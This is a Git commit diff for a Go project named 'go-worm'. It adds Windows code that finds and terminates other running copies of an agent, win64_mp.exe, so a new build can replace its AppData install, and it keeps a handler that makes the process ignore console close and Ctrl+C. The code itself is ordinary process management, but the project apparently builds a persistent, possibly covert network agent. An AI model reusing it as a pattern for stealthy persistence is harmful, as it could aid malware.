fix(core): take over agent, reuse callbacks

- Kill running agents before replace
- Retry copy with backoff while locked
- Reuse syscall callbacks at package scope
- Add callback regression test

lib/instance/console_windows.go

@@ -17,7 +17,7 @@ var (
 	procGetFileType      = kernel32.NewProc("GetFileType")
 	user32               = syscall.NewLazyDLL("user32.dll")
 	procShowWindow       = user32.NewProc("ShowWindow")
-	consoleCtrlCallback  uintptr
+	consoleCtrlCallback  = syscall.NewCallback(consoleCtrlHandler)
 )
 
 const (
@@ -58,17 +58,11 @@ func ShowConsole() {
 // ProtectFromConsoleClose ignores Ctrl+C/Break/close so Task Scheduler and
 // explorer do not kill the process when the flashed console goes away.
 func ProtectFromConsoleClose() {
-	if consoleCtrlCallback == 0 {
-		consoleCtrlCallback = syscall.NewCallback(consoleCtrlHandler)
-	}
 	_, _, _ = procSetConsoleCtrl.Call(consoleCtrlCallback, 1)
 }
 
 // AllowConsoleKill restores default Ctrl+C handling for -foreground.
 func AllowConsoleKill() {
-	if consoleCtrlCallback == 0 {
-		return
-	}
 	_, _, _ = procSetConsoleCtrl.Call(consoleCtrlCallback, 0)
 }
 

lib/instance/kill.go

@@ -0,0 +1,32 @@
+package instance
+
+import (
+	"path/filepath"
+	"strings"
+
+	"tea.chunkbyte.com/kato/go-worm/lib/config"
+)
+
+func shouldKill(selfPID, pid uint32, selfPath, imagePath, installed, exeName string) bool {
+	if pid == 0 || pid == selfPID {
+		return false
+	}
+	if imagePath != "" && sameFilePath(imagePath, selfPath) {
+		return false
+	}
+	if installed != "" && imagePath != "" && sameFilePath(imagePath, installed) {
+		return true
+	}
+	base := exeName
+	if base == "" && imagePath != "" {
+		base = filepath.Base(imagePath)
+	}
+	return strings.EqualFold(base, config.InstalledExeName)
+}
+
+func sameFilePath(a, b string) bool {
+	if a == "" || b == "" {
+		return false
+	}
+	return strings.EqualFold(filepath.Clean(a), filepath.Clean(b))
+}

lib/instance/kill_stub.go

@@ -0,0 +1,5 @@
+//go:build !windows
+
+package instance
+
+func KillOtherAgents() error { return nil }

lib/instance/kill_test.go

@@ -0,0 +1,31 @@
+package instance
+
+import "testing"
+
+func TestShouldKill(t *testing.T) {
+	t.Parallel()
+	const (
+		self      uint32 = 10
+		selfPath         = `C:\Users\me\Downloads\win64_mp.exe`
+		installed        = `C:\Users\me\AppData\Roaming\win64_mp\win64_mp.exe`
+	)
+	cases := []struct {
+		pid     uint32
+		image   string
+		exeName string
+		want    bool
+	}{
+		{self, selfPath, "win64_mp.exe", false},
+		{11, installed, "win64_mp.exe", true},
+		{11, `C:\Temp\win64_mp.exe`, "win64_mp.exe", true},
+		{11, "", "win64_mp.exe", true},
+		{11, `C:\Windows\System32\notepad.exe`, "notepad.exe", false},
+		{0, installed, "win64_mp.exe", false},
+	}
+	for _, tc := range cases {
+		got := shouldKill(self, tc.pid, selfPath, tc.image, installed, tc.exeName)
+		if got != tc.want {
+			t.Fatalf("shouldKill pid=%d image=%q name=%q = %v, want %v", tc.pid, tc.image, tc.exeName, got, tc.want)
+		}
+	}
+}

lib/instance/kill_windows.go

@@ -0,0 +1,73 @@
+//go:build windows
+
+package instance
+
+import (
+	"os"
+	"path/filepath"
+	"unsafe"
+
+	"golang.org/x/sys/windows"
+
+	"tea.chunkbyte.com/kato/go-worm/lib/config"
+)
+
+// KillOtherAgents terminates other win64_mp processes so this build can
+// replace the AppData install and bind 5032. Skips this PID.
+func KillOtherAgents() error {
+	self := uint32(os.Getpid())
+	selfPath, err := os.Executable()
+	if err == nil {
+		selfPath, _ = filepath.Abs(selfPath)
+	}
+	installed, err := config.InstalledExe()
+	if err == nil {
+		installed, _ = filepath.Abs(installed)
+	}
+
+	snap, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPPROCESS, 0)
+	if err != nil {
+		return err
+	}
+	defer windows.CloseHandle(snap)
+
+	var pe windows.ProcessEntry32
+	pe.Size = uint32(unsafe.Sizeof(pe))
+	if err := windows.Process32First(snap, &pe); err != nil {
+		return err
+	}
+	for {
+		exeName := windows.UTF16ToString(pe.ExeFile[:])
+		image := processImage(pe.ProcessID)
+		if shouldKill(self, pe.ProcessID, selfPath, image, installed, exeName) {
+			_ = terminatePID(pe.ProcessID)
+		}
+		if err := windows.Process32Next(snap, &pe); err != nil {
+			break
+		}
+	}
+	return nil
+}
+
+func processImage(pid uint32) string {
+	h, err := windows.OpenProcess(windows.PROCESS_QUERY_LIMITED_INFORMATION, false, pid)
+	if err != nil {
+		return ""
+	}
+	defer windows.CloseHandle(h)
+	var buf [1024]uint16
+	n := uint32(len(buf))
+	if err := windows.QueryFullProcessImageName(h, 0, &buf[0], &n); err != nil {
+		return ""
+	}
+	return windows.UTF16ToString(buf[:n])
+}
+
+func terminatePID(pid uint32) error {
+	h, err := windows.OpenProcess(windows.PROCESS_TERMINATE, false, pid)
+	if err != nil {
+		return err
+	}
+	defer windows.CloseHandle(h)
+	return windows.TerminateProcess(h, 1)
+}